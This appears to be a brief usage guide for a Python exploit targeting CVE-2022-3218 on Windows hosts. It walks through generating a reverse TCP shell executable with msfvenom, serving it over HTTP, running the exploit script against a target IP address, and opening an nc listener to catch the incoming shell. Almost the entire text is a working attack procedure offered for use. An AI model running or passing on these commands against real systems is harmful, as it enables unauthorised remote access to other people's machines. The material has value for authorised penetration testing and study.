
Python exploit for CVE-2022-3218 that generates a reverse TCP payload via msfvenom and delivers it over HTTP to a target Windows host.
Step 1 — Create a REAL payload (Windows)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe
Step 2 — Serve the payload via HTTP In the same directory: python3 -m http.server 80
Step 3 — Adjust the exploit
Run like this:
python3 CVE-2022-3218.py 172.20.7.185 10.8.5.50 exploit.exe
Step 4 — Listener BEFORE exploiting nc -lvnp 4444